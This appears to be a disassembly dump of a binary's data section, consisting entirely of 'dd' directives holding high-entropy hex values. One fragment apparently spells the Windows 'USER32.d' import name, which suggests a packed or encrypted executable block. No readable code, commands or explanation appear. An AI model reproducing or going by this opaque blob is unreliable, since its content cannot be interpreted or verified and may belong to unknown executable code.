		dd 0FBF5A99Ah, 53D5692Fh, 10BD42C6h, 0D5E024AEh, 0E9758C22h
		dd 0D807726h, 4E0125AEh, 3149CE87h, 3CF193CFh, 0A0858108h
		dd 0FA28ED76h, 0C0BB9234h, 1A3DD6C4h, 3A051200h, 0F1D3909h
		dd 9B69498Fh, 60430D00h, 0A2E92DE1h, 0F98ADDC6h, 4F567B8Bh
		dd 0BED41270h, 98032AB0h, 9D762DD0h, 0F6588A76h, 0F38881B1h
		dd 1674EE95h, 0FCA194FCh, 3C10639Bh, 0E1418B55h, 0D9EC3BFEh
		dd 672DAB51h, 0F646EF04h, 0E702B12Dh, 569F87F8h, 434EB878h
		dd 0B6BF3112h, 5B08D391h, 0DD923AC4h, 4430EEA5h, 4E0FD558h
		dd 63CBFA40h, 34CC312Ch, 6F8EAA44h, 0C761B10h, 153E6C68h
		dd 56699DCCh, 0E39720D5h, 0CE016082h, 0ED9027B0h, 0FE9F661Ch
		dd 0D0B7437h, 564E1531h, 66E0C06Ah, 7AC039C6h, 72BF5745h
		dd 5288171Fh, 0C97DF409h, 0C3F56317h, 629606FBh, 300FACBEh
		dd 0AF805BDDh, 0AFD66661h, 9EBD2EB4h, 53D01628h, 75C1862Eh
		dd 9BD6398h, 0A1CC5792h, 0AC4075Eh, 0A5F99CAFh,	0D9103B47h
		dd 47561206h, 0FA0A3812h, 0D7A5CFAFh, 17FF946h,	891C579Dh
		dd 0E2C8E927h, 0D63CD518h, 0E9F66895h, 0E8724A0Dh, 87FED7A7h
		dd 0D52ED4BEh, 9B7EA4Dh, 1AA4261Ah, 48848EF7h, 2EB81EFh
		dd 3A5E3527h, 0CA1A15FCh, 0E8F50C1Ch, 0BBF32993h, 8E5888B1h
		dd 0E49AB50Eh, 57FFF221h, 2C84BEAEh, 0A8FFC4AAh, 5FB85E13h
		dd 2084FC5Ah, 0DA870498h, 0BF458F68h, 4EE90230h, 0D7C4B548h
		dd 5D4DF7F0h, 20D48B4h,	45D2197Dh, 99E7EB29h, 0B44BD55h
		dd 5312F15Fh, 5A02E2BAh, 6BE20816h, 0DDE6E90Ch,	2C64DCFBh
		dd 0C2F13CD1h, 4D00E6Ah, 10A6AC52h, 0A44BDA74h,	984F681Fh
		dd 6156FB91h, 662E0400h, 0B830DEC4h, 9DC8AE17h,	40581CBDh
		dd 0EE291327h, 6584CA38h, 89CB5364h, 5011D4F5h,	951D8B3Dh
		dd 5AFBC5Ch, 0EDFC9BF6h, 0A862BA04h, 0EDDD5B0Eh, 0E197755Ch
		dd 140BBA1Dh, 80B08907h, 0B5DFB7EAh, 5C05042Bh,	0AC7A986Eh
		dd 0AF074180h, 8058003Eh, 7667EE1h, 0F6CE8852h,	8BF147DEh
		dd 0D08BBA85h, 0EE8A0F18h, 0EC95F29Ah, 13B775B0h, 0F3BCD2E9h
		dd 70AA5ED8h, 0FF788449h, 75E1BCD6h, 1E109932h,	0E0E91371h
		dd 0BF05FAF0h, 0BD9091B4h, 0AA83F6E6h, 222AF0EFh, 2D0502BDh
		dd 1C426677h, 8105DA82h, 5902E907h, 0F16F412Eh,	2F7080B1h
		dd 128D9F1h, 5DCE2111h,	29CC04B8h, 21AF2F51h, 22090D9h
		dd 1215CD59h, 0E4680455h, 0A0F3AA3Eh, 0D4E2DB4Ch, 702445F6h
		dd 4255EE00h, 0B0014A08h, 8C65095h, 8A1A9C59h, 0BCB0565Eh
		dd 0D3F7D98Dh, 0D80C3808h, 2D965E0Dh, 0F3429AE9h, 0E917F175h
		dd 260079DFh, 0E7D812ABh, 0E2D57BBFh, 0EFCA1312h, 214DCBB0h
		dd 362CFA30h, 0B52CDA10h, 498313C4h, 59825ECDh,	2800067Dh
		dd 6F305BFAh, 0A7A985D0h, 0BF0530D8h, 1F4C6D3Ch, 94FC9F0h
		dd 2939C5E8h, 90CB1675h, 27D8176Eh, 1301AA03h, 30DE0895h
		dd 3E87188Eh, 627E0B8Bh, 586008A0h, 0D879CE0Eh,	0CE289F4Ch
		dd 4A0C3408h, 252FEA23h, 808BA055h, 2D0F8AC6h, 0DEC24883h
		dd 7DB81E7Fh, 0C3BE0188h, 0E9761E0Dh, 0D1127BF6h, 17C598BEh
		dd 48109949h, 7E862F1Fh, 295FE29Eh, 2F2C2D49h, 0D2FE52BBh
		dd 627F3E46h, 0B6E555A3h, 7B355C25h, 0E782E9FAh, 5B0641D3h
		dd 0BC76F6B7h, 0DE542DD3h, 0FEC41061h, 0F7E1E103h, 68E02ED9h
		dd 76B7048Dh, 0AACE29AFh, 68090BCBh, 0A9463C7Bh, 56AFE194h
		dd 6FB0C9Dh, 6F7A8B29h,	815D2A00h, 0D8626ACDh, 324B867h
		dd 0BD66BA69h, 42FAEA89h, 452D8B81h, 0D23FEF8Ah, 3B49D3Ch
		dd 3AB2E187h, 85492832h, 9EBCCD8Ah, 0A8AE04D3h,	8C600FEh
		dd 0B046AA20h, 0E104F135h, 2CEB2FB8h, 0AAEEE92Dh, 85E926D3h
		dd 1817EF5Eh, 90AC0AA0h, 0D78D81DFh, 3016E7FCh,	0C7CC201Dh
		dd 822602CAh, 0F11EBF3h, 409C63Dh, 6C563BEAh, 0E39008A0h
		dd 0AAB8BE4Ah, 5A9AEB4Eh, 2B61FF5Eh, 0DCA7A0D7h, 0CB60FBDEh
		dd 5EC96859h, 0A1CDB81Ch, 543C63E9h, 7838FE5Ah,	0E0DD4D07h
		dd 2111D898h, 0D6220D24h, 0F93DE22Fh, 0B70B7B93h, 0AEEACEE9h
		dd 0E268CB05h, 0EA40F7BFh, 50814F95h, 0F429C2F7h, 0CD8A4259h
		dd 0EF05FADAh, 4E510AF1h, 12F6D4BBh, 2A3E2108h,	595F0274h
		dd 0C480695Ch, 6FBB06D2h, 1F8061B6h, 5227FD77h,	1DB002BAh
		dd 0D5091A3Ah, 571D09FFh, 0C8B2CB12h, 80FB8C55h, 0BF3013D7h
		dd 9550BB76h, 3D894E08h, 39AAAD54h, 42EE9126h, 523D0D00h
		dd 2D051ADBh, 5E691513h, 0F5B05AE8h, 7D485516h,	82C707C1h
		dd 0F257BEECh, 7604A9CBh, 178EC2D2h, 98C544FFh,	0D50B512h
		dd 0E90210C2h, 0D8097DC0h, 36D07FDCh, 0FF8282B8h, 86DED108h
		dd 2A02D917h, 61BE94B4h, 13F1CAB1h, 7A43C56Ch, 0EBFC6816h
		dd 5A81758Ch, 8CD72862h, 3C89715Eh, 6F19D941h, 6493CC2Eh
		dd 9DFE9F20h, 853397DFh, 0D00CB3E9h, 19D8059h, 161F0BBAh
		dd 319655EBh, 0EAB4B1BCh, 4672C541h, 0CC3C3D42h, 590740h
		dd 325C402Dh, 57FC0503h, 74E863Dh, 485174E6h, 382BCEF0h
		dd 0D029106Dh, 116A9D05h, 16FD1B83h, 0E6AF0425h, 0B8DAA69h
		dd 9C4DA7Eh, 40BBE95Ch,	13F8B9DEh, 17F053Bh, 344D1A4Eh
		dd 27D7326Ah, 573804D1h, 206C7180h, 0EA7F7997h,	8F08B9BCh
		dd 0C44B575Dh, 80F5442Bh, 0FEF03552h, 0C13EE3BFh, 57A17E7Ch
		dd 0D5968219h, 69570D4Ah, 1AC26DC1h, 62935655h,	0E7EE5F02h
		dd 0C02F12F4h, 882F71FEh, 349036D4h, 0CD7C444Bh, 0A0680231h
		dd 0F2C8DE16h, 78E16041h, 0D8291794h, 418CCCFEh, 1A2FCF94h
		dd 96125732h, 2FDA52C0h
		dd 78B6FEDh, 0FC15327Eh, 0B25F521Ch, 9515F14h, 0A535DEA7h
		dd 418C45F5h, 20F88850h, 6054E966h, 0E000BAC0h,	0BB6EE804h
		dd 4F17FB24h, 0EAEBB491h, 0A537DB3Fh, 0C08753Dh, 0ECE90D08h
		dd 20EB21F7h, 1E1621C6h, 530739C0h, 7B466DFh, 0E848B4ACh
		dd 8D7D9104h, 0F8B01672h, 165F9D50h, 41CA904Bh,	0C29D4A4Ah
		dd 0D77A7FE9h, 71E5EEA0h, 3E014042h, 5F9DBB53h,	0CBF05012h
		dd 0B16C0401h, 0ACAEE956h, 1F497590h, 9FF85BD0h, 3D15ABA5h
		dd 0E4508F16h, 0CDFA3391h, 7D12E6F3h, 8B25FCE4h, 617DD93Ch
		dd 6A2D46E9h, 922D156h,	6287D658h, 56686FE9h, 5A585D52h
		dd 7C590702h, 48E22D67h, 9C155CF9h, 0A3F1C001h,	0FE03E1C0h
		dd 0D9F6C919h, 813AFA14h, 1FBDD59h, 0A2683433h,	3F3C0F9Fh
		dd 69182D7Fh, 0C6979FBEh, 4B633125h, 81AE09B5h,	51C7E475h
		dd 0EDD8B3B5h, 9FECE05Ch, 4322B15Dh, 0E17E2835h, 122E9E59h
		dd 0F6847AD7h, 29A2C7E9h, 0E782A7DAh, 310E46DEh, 24D64FF2h
		dd 908F2EB5h, 1373C140h, 0AF58502Bh, 129BF800h,	7E0F14B9h
		dd 0FFAC278Fh, 5CF1987Ch, 6DDCFE9Dh, 2AFF273h, 55555461h
		dd 5A1EF365h, 6288E9C9h, 0FBD032Eh, 0D79DDA8Ch,	2610A66Eh
		dd 5789FEAEh, 5604EAD4h, 32A4D691h, 77851A0Fh, 547728B1h
		dd 0A3DAC289h, 0F72D1468h, 753A3571h, 92A0448h,	9CC76E16h
		dd 0CFA5B5D0h, 387EB61Ah, 17931C8h, 21365425h, 7FA9E9F1h
		dd 65CA8940h, 9038841Bh, 8C0B02EEh, 0D5317C6Ah,	861EEAF5h
		dd 0B78E9E35h, 6713CDFBh, 0B66FD3B1h, 0EB0BD2D3h, 0D69C298Eh
		dd 97622882h, 810939DEh, 7A7075EBh, 58AA0CD3h, 6EE92A85h
		dd 2288AB6h, 7827D89Ch,	0F848220Fh, 9643E720h, 0C3C640B8h
		dd 11F2543Ah, 26382319h, 0E67EAB80h, 0C8BE02A3h, 5D036468h
		dd 44CFF098h, 9636519Fh, 4EDCAE51h, 0EA54BF59h,	7FB6C589h
		dd 0BDC1FA4Bh, 54187322h, 0D560F766h, 7E2D580Bh, 0ABFFF2B3h
		dd 0F7494FCCh, 91BE938Ah, 6A7679EFh, 3FF12E93h,	0F801B8BBh
		dd 0C329E123h, 7F12B58h, 0E33BC1CDh, 0E553C52Eh, 257BB8CAh
		dd 0E154F9B2h, 1032A068h, 3AF87566h, 54F32C2Dh,	3F1B60C3h
		dd 7C900B5Ch, 5AD3E320h, 29FA90BFh, 5B485FFEh, 5E55055Eh
		dd 3FAD1D6Dh, 0AD310841h, 1538EF2Bh, 644E26E9h,	6F1C82F8h
		dd 0C2D506FBh, 830708E2h, 86544E16h, 5B125C8Bh,	247C57E6h
		dd 8310359Ah, 6241123Bh, 0B3D4B7D1h, 80EE9E2Ch,	0A71DF49h
		dd 0BD55CE01h, 0F9E90508h, 0B0E731F1h, 9744E890h, 6806BF92h
		dd 10BC225Bh, 477A4E7Eh, 0C935BD99h, 8BAB9A03h,	0EF21161Dh
		dd 20B138D3h, 9A89B2Fh,	5273FCE9h, 61553858h, 2DFA4A2Ch
		dd 0FC5FF762h, 0B842C57Fh, 64E91674h, 0EBBA7780h, 34A22474h
		dd 480A0EECh, 0C32A4Ah,	40547094h, 260E2C1h, 0B938927Ah
		dd 0BCCAA02Fh, 6721F0Ch, 0DC4AEFE9h, 8C170F5h, 12EB10D3h
		dd 8819920h, 18B7A5Bh, 94F09019h, 0DDBC7ABBh, 3B4EE54Ah
		dd 5A5902EAh, 14E89BE9h, 6A1EC5B8h, 0C38949B2h,	85F210DBh
		dd 22CF44F6h, 896BC041h, 49D9CC0Ah, 9A6815Ch, 55A5F0A1h
		dd 6954DF0Bh, 0C5C5DD69h, 0D8B96862h, 0DA7796BEh, 251CDA57h
		dd 0DFA9963h, 155E0509h, 0EEE2D057h, 0D0202CF8h, 0E9C205F4h
		dd 3157F156h, 4A1BEC49h, 4F5F4216h, 9C7F4402h, 1DCB26FEh
		dd 0A6B63B98h, 0BBB80Fh, 0E1056EB0h, 69483714h,	84357064h
		dd 209A0AF3h, 7D697EB1h, 5EAD75D9h, 103C11B0h, 7D5840B2h
		dd 300D1600h, 0B18A0F75h, 4B1D2AB4h, 0D05E18FFh, 3BDCB326h
		dd 5265E98Bh, 0BAB2FF58h, 0D399F7D2h, 0AA140BBh, 530EC59h
		dd 13A6FA02h, 94C301CFh, 32BE4B2Bh, 0E65D72FCh,	51FC9D8Bh
		dd 0DEC44202h, 61E2F599h, 0CFFADE57h, 0EA82D80Bh, 5A05CA3Fh
		dd 460A31AEh, 3DF86FD7h, 71021BC6h, 8082C672h, 7423CD6Ch
		dd 45372D33h, 0F5800DD4h, 561F5844h, 53BF2E57h,	38511A20h
		dd 0E95717CAh, 68361FBh, 76B65260h, 9614EEC9h, 87FA6A12h
		dd 0CE951AEh, 25916FE6h, 0B5D792D2h, 0A1063CABh, 521DA5Eh
		dd 0FAC8CF88h, 2F82985Bh, 0C192BDD4h, 0B6640F5h, 24519778h
		dd 6CA4CA8Ch, 0F80EB566h, 2713980Fh, 96AA84E6h,	80E2B20Eh
		dd 0FD5C605h, 0BDD48C88h, 8374BDEBh, 0EDCBF5E9h, 0E9F153BCh
		dd 8D122F57h, 0BB977DB2h, 9EF9A8C8h, 0AF5F121Ah, 0AE97E0A3h
		dd 2B63B3CDh, 1405533Bh, 0F83CCB51h, 0CC293926h, 3B0B41AEh
		dd 0EA1AF6FCh, 805D8BDFh, 1622F2CBh, 0B36D8025h, 9EAF395h
		dd 265B495Fh, 9C684A48h, 28AFA617h, 0EA416C82h,	0EE4C842Ah
		dd 1F2DD8FCh, 0C1FC874Bh, 545CBAB4h, 0EE89823Eh, 28FA0891h
		dd 3680A00h, 76B54A6Eh,	0BE1ACEB8h, 0C05F1095h,	537F824h
		dd 0E1C11189h, 1102AE07h, 0D9C49BFBh, 52123D8Fh, 0D51DB89Ch
		dd 0CE685038h, 91F65128h, 0DCAF737h, 0F60AF9F5h, 0C6E273F3h
		dd 0C1F19BA4h, 926E9598h, 0CFF61307h, 3BB062h, 0AA42E8BFh
		dd 0D827F698h, 82C35BEDh, 8F66C331h, 96AFC640h,	0DCC121D3h
		dd 0EE05CC93h, 63852BB2h, 9912F8BFh, 70890E10h,	3F80C729h
		dd 5AE5164Dh, 4023350Eh, 581A19FEh, 0F3947FC6h,	0CB4AB698h
		dd 0C69A30E2h, 0D0D7097Dh, 0D2769F43h, 809B3C78h, 243C5C01h
		dd 0F48E9E08h, 32EA5F7Dh, 267E0317h, 0EEA70501h, 167BB7F2h
		dd 7D95EFD8h, 46481A0Bh, 0ACC92040h, 0D2F65904h, 78F8E2D0h
		dd 0EB71146Bh, 0E1F766C0h, 0BB82C68h, 0E9546173h, 0F5B17EF8h
		dd 0B36A66Fh, 75FEC4E8h, 0D737A6B8h, 0EAC52DC0h, 166A5159h
		dd 0BB2C875Bh, 0CD4B0CCBh, 0BF454429h, 0D13BC9ADh, 0FEC82A89h
		dd 5369387Dh, 0FDE082E7h, 6082FAB8h, 0EE08F1F3h, 1D41267h
		dd 895CA2CDh, 21807F31h, 0E4D6F249h, 3C2BCC0h, 77E97EBFh
		dd 31688071h, 5525C9B4h, 7AA781C5h, 0FE6F2DF9h,	1CCC8259h
		dd 0D31ED0EBh, 8F12D83Ch, 6CD245A2h, 0B6B03544h, 4E6113DEh
		dd 5C0DD8ABh, 0CA0B4598h, 0D47D6E19h, 28E60ED5h, 0D0F75465h
		dd 2B4748B4h, 77A6C58h,	51964C7Ah, 2933E6C0h, 4F1B8BAh
		dd 0B9328FCEh, 0F2E871Ah, 0EBF410C5h, 7DEB1E49h, 2EB8D8F8h
		dd 25DA1B4Dh, 52A2DF29h, 77489A1Ch, 56284C76h, 8F00DE0Bh
		dd 8132B20Fh, 0C43F9EAh, 0DAF72AFDh, 0DC7DE904h, 83854496h
		dd 8CEBFEE3h, 67CB85FAh, 2CABD7B9h, 3F42E47Fh, 0F64FD64Ah
		dd 7CE57B4Ch, 0FC9F7A6Fh, 3A7D27BBh, 5012742Eh,	61405568h
		dd 0E314BE9h, 0BBC49DF1h, 0B671AB7Bh, 0F62CF268h, 271CBACCh
		dd 9093859h, 862C916Eh,	270704CEh, 5B09CDE9h, 4475D9DFh
		dd 3B4DE159h, 0E97521FBh, 30EA3514h, 4F580F3Ch,	7768C0CCh
		dd 9F01A76Dh, 0EA6076D1h, 690F582Eh, 2777C74h, 48D81671h
		dd 4B8DE993h, 8585A9B6h, 41815554h, 269DFC7Bh, 3E8A8842h
		dd 0A809571Fh, 0BF2FACCh, 66834F6Eh, 0CAC0B956h, 0DA67A36h
		dd 0E006E90Bh, 22EC3B46h, 0E9DF19B3h, 0E1B3F977h, 2B9445E9h
		dd 0F513D2A6h, 0B3BE613h, 7E9E0EE9h, 38092D0h, 0E38B0F56h
		dd 77977CBEh, 16E91DA3h, 51BD2AAEh, 8ED18BD7h, 7941F74h
		dd 144C11C2h, 0B432FB5Eh, 0C1CEA55Eh, 0D68BA645h, 8EA5FE52h
		dd 0BF649161h, 406BEC5Eh, 180335EEh, 1D1B3A5h, 0B902E0C7h
		dd 14F4BFFEh, 6DD582C5h, 0AD4705EFh, 0AD24FF60h, 0D894BD04h
		dd 53C222BAh, 0AE6FAF8Ah, 3780DB1h, 88F87FB7h, 5CCD8A82h
		dd 65E85457h, 4A8349CAh, 0CFE6BC0Ch, 0AA18A604h, 248BD029h
		dd 0CE80116h, 0BFA0C537h
		dd 0FB179D3Ch, 7F8950B7h, 60460C1h, 33F13503h, 0A2DE8D50h
		dd 65B57392h, 0F9B6AF86h, 0CAAC32D3h, 0D0B35380h, 0D9E05EB1h
		dd 0E9C24DBCh, 1CE4766Ah, 3B72E731h, 0B0737C20h, 215F1632h
		dd 84A4FDC8h, 0B5B4B2E5h, 254500CFh, 4F020515h,	0C13B4273h
		dd 0A42D02E0h, 0C811604Ah, 5BF1E9E9h, 1DBDA33Bh, 8A494BBFh
		dd 0F59189F4h, 0F89FC4D8h, 5D2F4B32h, 7FDF84C3h, 0D77782EDh
		dd 4D5DEA6Ah, 37EB21Ch,	3505A680h, 200010DBh, 199F250Bh
		dd 26E97CE2h, 83ACBB66h, 76422996h, 0E34995D2h,	2C17D968h
		dd 603BC07Ah, 26D10684h, 3F24EE6h, 399C18D7h, 13690C00h
		dd 74E923FAh, 0BC9BB9B8h, 0EE451A1Dh, 94A065C2h, 75E7AFADh
		dd 451F0701h, 60D0894Ch, 39D36D05h, 4ED646B0h, 8075FD5Ah
		dd 139320E0h, 4A73FC05h, 0B30E82BBh, 94D48803h,	7ED7E982h
		dd 0E57271Ah, 29FA9688h, 6B0D4205h, 797D1841h, 5CC9DEF1h
		dd 3CA7713h, 7032EF40h,	2815FC30h, 0A965B3h, 0AA0B0554h
		dd 7FE9B02Ch, 55FF952Fh, 40DF5496h, 10D075C6h, 0F75CBD0Ch
		dd 0FE50C040h, 46F6A169h, 20F9CE50h, 527502FCh,	355EB951h
		dd 4CBA1860h, 0F25EE671h, 0B387F3BCh, 8B85FAh, 627ECFADh
		dd 0D67E2939h, 3008EE51h, 0E5CE1E87h, 0E8884753h, 6F258229h
		dd 200CC406h, 48BDADAAh, 91B6365Dh, 0C3D61D43h,	0F9297237h
		dd 886C1C2h, 0F7C1E5Fh,	0F0E705Ch, 0CF15C4C2h, 41BC6938h
		dd 126F5895h, 2B95FF56h, 283591EFh, 74F6985h, 29B30A0Eh
		dd 5FEEB2B2h, 9E20E9BBh, 7F70EAFBh, 1A5D9529h, 0A20F9089h
		dd 0E1C280Ch, 6B7C09ACh, 0D9D45DACh, 0FEC47384h, 96856E4h
		dd 4A795806h, 0EBC0E6FCh, 4B214725h, 0BCC12D0h,	0B25703D6h
		dd 5825F0Ah, 81008661h,	0A6F45E2h, 0EAD10BF4h, 7A7F02CBh
		dd 51FE20C7h, 0FDE7091Eh, 6088A415h, 196805DAh,	739DAF3Ch
		dd 49188C79h, 0DFF6CA9Dh, 102A5078h, 0F105999Eh, 18D70C5h
		dd 0E4EB5CBBh, 137C0F38h, 0A75EEBEh, 2517B493h,	4E7EC4D5h
		dd 6A86E11Eh, 4E9DE298h, 0C0ECB852h, 5676753Eh,	3CC07BEh
		dd 84E9E1E2h, 0D2B6FC94h, 4B7B87EFh, 0AE80B7DEh, 112F761h
		dd 0FC5148C3h, 670A1605h, 0A0F88041h, 6458326Ch, 0CB791792h
		dd 8882DEFCh, 0E9028A6Dh, 0F7D662A1h, 0BB793EEh, 0D7896CE1h
		dd 31624963h, 0A2C1D1DFh, 0CCE916C2h, 2C3EF7FEh, 0E40C9555h
		dd 95EF6BC9h, 6F580FDFh, 27EB9623h, 0A43E8295h,	0A03F14FDh
		dd 263DE615h, 2CC4326Ah, 0E58B1D09h, 0F17D3E09h, 0DF29C396h
		dd 8DEF4C4Bh, 0DCCB3A96h, 5847D910h, 489316FEh,	4F806216h
		dd 2CB15159h, 17EDC071h, 2C090780h, 90AC747Eh, 9CABB10h
		dd 0A683134Eh, 1141392h, 0E0E017CEh, 1E04BDCFh,	837BAC61h
		dd 26D21887h, 0C213776Ch, 7DD8FBC7h, 0E92DD19Dh, 25A39BF7h
		dd 0E4FA8D66h, 4730AD06h, 5DE526Ch, 0E908016Eh,	6678D24Bh
		dd 63B2DB82h, 807E405Dh, 0E9BE09C3h, 0C4A51AF3h, 0A0C20EC6h
		dd 5ED92DFEh, 0B0EB648h, 6D099731h, 2D7B7EC3h, 120816F3h
		dd 7584634Dh, 0A4F7DB3Bh, 5B97F115h, 8AD722F2h,	0E9540506h
		dd 9CFBE17Bh, 681758AEh, 3CE620AEh, 7628BA93h, 57D42F68h
		dd 9D4A4F46h, 0F94F3CACh, 0FF50A25Ch, 0FA62563Ah, 3D717357h
		dd 4AE4979Bh, 0EB63C1C2h, 544EABB4h, 753149ADh,	68FC7F16h
		dd 594CF03Ah, 0F47B20AFh, 7A5D7CA7h, 2E72720h, 78523359h
		dd 0CF6EB79Eh, 0F651E912h, 0EA49D5BFh, 8E022144h, 8807E514h
		dd 0B4AE6FCFh, 1A9A841h, 0EF166EBFh, 0AD6E8972h, 0F6810EA0h
		dd 1D490E4Eh, 2BE84BFh,	50BA3EF9h, 164C0841h, 206A417Ch
		dd 6997ED25h, 0E32F3016h, 76AB409Ch, 5E220407h,	7861E2BDh
		dd 16A6E947h, 0B050608Eh, 0E827C0CDh, 1DF1F004h, 87D820FEh
		dd 0B4162C5Bh, 0AD04FF12h, 79EF78B1h, 45A46AE1h, 60DB4180h
		dd 138CEB3h, 0E27B078h,	0BE7F8EEh, 0F1312B3Ch, 0A650D785h
		dd 70E05F04h, 2E24E645h, 396AF329h, 2BC4EEAh, 70F91089h
		dd 925005Fh, 93127E0h, 0CE5E9EBh, 0E1D2AEA4h, 72742E10h
		dd 70FF3CD4h, 3657686Fh, 0FB0BA6A8h, 0CA7A5581h, 0F42010B9h
		dd 93D3FD4Bh, 59BE90BFh, 0F9BFFEF7h, 28915AB6h,	0C3883F52h
		dd 91D139F7h, 860FD883h, 4C4EADEAh, 0E91691EEh,	51162F5Bh
		dd 0E9C2B5E3h, 0F2763C4Fh, 98E1C1D8h, 0C8A620F6h, 701B54D9h
		dd 733FE4h, 52455355h, 642E3233h, 41E06C71h, 91564439h
		dd 4EC74950h, 1A4CE754h, 5E01A30Ah, 90AE915h, 0C81C13E2h
		dd 0B45F0EBBh, 0F105FD29h, 0AA0A08A9h, 24C9B142h, 2C8625A0h
		dd 21964215h, 9E8C105Eh, 8221CCD1h, 7888F010h, 8BF50680h
		dd 1CAA4EEAh, 80F35DD0h, 0EE269223h, 5700C16Ch,	0A53BBAC2h
		dd 11484h, 475EFA7Bh, 6B8C28C5h, 309C1100h, 0B0D5581Ah
		dd 0FBBB0FF6h, 15E970FDh, 0EE78BE80h, 0C400F3B3h, 871D305Ch
		dd 17717AABh, 1F68F87Bh, 0CCFCC0F0h, 759CF5Eh, 0FDEC5Ch
		dd 28B446D4h, 1FAB7BF9h, 0D7D119h, 37B56B27h, 0F100158Fh
		dd 0B94D5D40h, 16984E1h, 12356CFEh, 0C055F226h,	0AB77EBA6h
		dd 6546B007h, 80B0A93Fh, 18680295h, 1DE3A3DEh, 0BB73772Dh
		dd 0EC1C7400h, 38944E08h, 0D2630016h, 8012DBB6h, 0D87D6EFCh
		dd 0A748600h, 0EBABE670h, 3EC7066Ah, 0DE2A2DFh,	1C0F327Eh
		dd 0C027AA86h, 7D81061Fh, 0F65F6E4h, 7DF6D8Eh, 0D40E800h
		dd 9002055h, 38D2C632h,	25B33Eh, 11C27047h, 758EADDh, 0C5014F9Eh
		dd 7A9E3ABBh, 0C36DC0h,	76A2532Dh, 0A7119C1Eh, 4BEA9200h
		dd 0D16454D5h, 0AE0A00ABh, 0DC78F577h, 0AC70413Bh, 0E588EA01h
		dd 2B6B2680h, 0D780D057h, 0A04AF1h, 0F56020D1h,	7F0DA63Fh
		dd 47D2A700h, 11AC46D0h, 1B5207F6h, 8739A9EFh, 5F8C538Bh
		dd 0F2930200h, 37B0DE88h, 0C9E0004h, 5ACBAE40h,	0C171E3A6h
		dd 0E13DD31Dh, 35911783h, 32C0EC22h, 0FC89F3h, 3C833CFh
		dd 0DA27130Ah, 6A804C09h, 635D8008h, 0E889C519h, 12980011h
		dd 32340E70h, 0CB5A8D22h, 48E3D0C0h, 2B850028h,	5CF87507h
		dd 2D12C0BAh, 4B409383h, 46D65F1Dh, 0F17FE1h, 0EA3B9518h
		dd 0C669CB6Ah, 9D3FB60Ah, 0F01877Fh, 0FC9E1E93h, 44768D40h
		dd 0ED68066h, 0CEA8421Eh, 0E8917B80h, 9DBD92Bh,	3F158430h
		dd 2CADED26h, 0C9DFD238h, 73310074h, 9FF250DDh,	14C56043h
		dd 0C8651725h, 0D9A9500h, 5797067Bh, 163760B2h,	0BA78E5F7h
		dd 20A4E707h, 60FE6F0Dh, 0D16B3925h, 9AE20075h,	0E696B91Bh
		dd 4854A91Eh, 0F4A0F983h, 9EE670C4h, 0AE3C4607h, 0BE935642h
		dd 918EC3h, 7DC1574Dh, 2AAAFB63h, 213CE38h, 0FD8C0597h
		dd 90AB43ADh, 0FEA46EFh, 0AA43640h, 73AE17E0h, 1F303128h
		dd 3A87D45Dh, 0C9D0A067h, 0E6E4D8h, 0BBE92FC7h,	9A1A9721h
		dd 200F87F2h, 0F4C0287Ah, 0C86F30EAh, 0C01E5EF1h, 0D6564F54h
		dd 9900BE1Ah, 373BC0D1h, 1CD52690h, 0C0B7456Fh,	9835C755h
		dd 6D0008B8h, 8E6A7AA8h, 0D46652h, 0A1CD0FAAh, 5D913C31h
		dd 97C3FAh, 2050FB56h, 0F23008Dh, 0C254C06Dh, 9B0035B8h
		dd 0C864098Bh, 1EDE5725h, 89E94Eh, 0E2339D10h, 6102D362h
		dd 9507AECEh, 179D4087h, 9616128Bh, 7E0802FBh, 141E1E4Ch
		dd 0B2C2A2E9h, 0EA738900h, 0C7A1E86h, 873007E4h, 851B1B81h
		dd 35A73F3h, 201F8A7Ch,	0BDF8FB1Dh, 59019127h, 31DA956Ah
		dd 9E78D584h, 39ED5071h, 28B800BBh, 2E5387CAh, 6C00E8C3h
		dd 5250ACCEh
		dd 772ABCh, 37B4F8E0h, 45A14C56h, 4889903h, 90E6712Ch
		dd 1387AAE7h, 32FCBDDh,	0D7EA839Eh, 0D0C4E4E8h,	0B8C6C6A0h
		dd 80FA1C1Eh, 0F64ECC45h, 6A4518C0h, 208A3F9Ch,	8849F000h
		dd 94030538h, 483B62Fh,	40870C1Bh, 0B7F642C0h, 0BDB8002Eh
		dd 2234902Ah, 0C8048458h, 6DC55BD9h, 9FD37981h,	0F2E33620h
		dd 909EE2CCh, 958C0F30h, 0D9A4CF17h, 928080FDh,	691318FCh
		dd 0F11E8246h, 53E572C7h, 8110C867h, 484E99h, 7E089E5Ah
		dd 9C3842D6h, 82037928h, 360B582h, 490E4CD9h, 0C048CE70h
		dd 3F1733CAh, 82A80006h, 10927EBAh, 0FE1279CCh,	9000BB5Fh
		dd 4A47D167h, 9330032h,	9620824Eh, 52002CCEh, 0AFDB71A3h
		dd 26BCF58Bh, 3FA32FCh,	24F88E14h, 62F05401h, 36B125CCh
		dd 8C1E530h, 4735A0Dh, 20A04B0Bh, 901D5FB1h, 68120024h
		dd 0B93B6BC5h, 75019834h, 39FE6E07h, 6634B459h,	63120192h
		dd 0D75E1E31h, 8A5C865h, 463B671Ch, 5007FA52h, 0B321BCCEh
		dd 0ECFC37A0h, 0CAFD4C6Ah, 0EA7C2600h, 0FE612150h, 0F1B32AC0h
		dd 6327AF39h, 0B4C47D10h, 52890ACh, 0B59863DFh,	7067FF0Ch
		dd 9914BB16h, 0C2B802B1h, 0EA408133h, 0DC603460h, 9A4D097h
		dd 3A962693h, 0C7A673h,	7D923EB7h, 0C6007203h, 0C2AB4A34h
		dd 61E9A9D8h, 112B90F9h, 2CAD26B3h, 84004AC9h, 0DB09171Ch
		dd 16EE3811h, 296249Ch,	0E5A5DC76h, 2F3E607Dh, 61BD0175h
		dd 1AF9A074h, 0DF037B93h, 74880879h, 0B2C000Dh,	9E4DE371h
		dd 0B390AB21h, 0FD40417Dh, 98448861h, 3B0B890Fh, 582DE3A9h
		dd 0C1B0E8DDh, 5AAA4872h, 23CD3A30h, 0A53A49A1h, 0C35180C9h
		dd 0ED789032h, 98287844h, 8F6B1CCDh, 0DF5A4E5Eh, 10C406F3h
		dd 0A648440Ch, 0F48E026Ch, 400AFDBDh, 8D177Fh, 97EAA4A5h
		dd 0E477D07Ah, 4F02D9F8h, 2F0B7587h, 0B444615Eh, 891BE0h
		dd 0C9922BB5h, 0A2DA7F04h, 40423Dh, 3BF7B325h, 158CB66h
		dd 727A6929h, 60F9AB78h, 0C83FA021h, 0E87F013Eh, 92A420BAh
